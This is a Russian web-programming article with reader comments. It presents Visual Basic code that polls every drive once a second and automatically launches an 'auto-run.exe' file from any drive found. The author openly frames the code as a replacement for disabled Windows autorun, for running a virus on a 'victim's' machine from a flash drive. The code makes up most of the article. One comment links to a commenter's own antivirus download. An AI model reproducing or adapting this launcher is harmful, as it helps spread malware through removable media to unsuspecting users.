Программирование
Веб программирование

Autorun.inf? Нет, autorun.exe!

 
 

Итак, к сожалению, мелгомягкие давно уже прикрыли самый развеселый источник вирусни - файл автозапуска. Все современные винды идут уже с отключенным автозапуском, поэтому по-старинке проникнуть уже не получится. Почти...

Итак, мы напишем программу, которая будет заменять нам наш авторан. Да, это значит, что жертву нужно заставить запустить нашу прогу, и вообще - лучше было бы отправить прогу сразу, но во-первых мало ли какие дела случаются, что надо вирь с флешки запустить (скажем, нету инетов), а во-вторых это неплохой пример для иллюстрации замечательного свойства FSO - DrivesCollection.

Вот код, он предельно ясен (столько DoEvent'ов для того,чтобы он вообще не нагружал комп, если без дуэвентов и слипа то загрузка проца 50% им):

Private Declare Sub Sleep Lib "kernel32" (ByVal SleepTime As Long)
Private Sub Form_Load()
Dim fso, d, dc, s, drive
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
DoEvents
Do
For Each d In dc
DoEvents
If fso.FileExists(d.DriveLetter & ":\auto-run.exe") Then
DoEvents
Shell d.DriveLetter & ":\auto-run.exe", vbNormalFocus
End
End If
Next
DoEvents
Sleep 1000
Loop
End Sub

Есть вопросы? Спроси на нашем форуме!!
FireDay [27.03.2012 16:45]

Почему нету комментариев к коду? Зачем ты объявляешь переменные, которые не используешь?
Какой же это "неплохой пример для иллюстрации замечательного свойства FSO - DrivesCollection"? Разве тут реализован авто-запуск? -Нет.

Stertor [10.01.2013 18:00]

"DoEvents
If fso.FileExists(d.DriveLetter & ":auto-run.exe") Then
DoEvents
Shell d.DriveLetter & ":auto-run.exe", vbNormalFocus
End
End If
Next
DoEvents
Sleep 1000"
Гепард, зачем ты везде понатыкал DoEvents, если все равно в конце цикла стоит sleep? Do Events абсолютно ничего не делает. Код твой хороший. Молодец.

Stertor [10.01.2013 18:04]

Кстати, попробуйте мой антивирус для флешек. Он как раз удаляет автозапуски. Написан на PureBasic-е.

http:\rghost.ru42793625



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.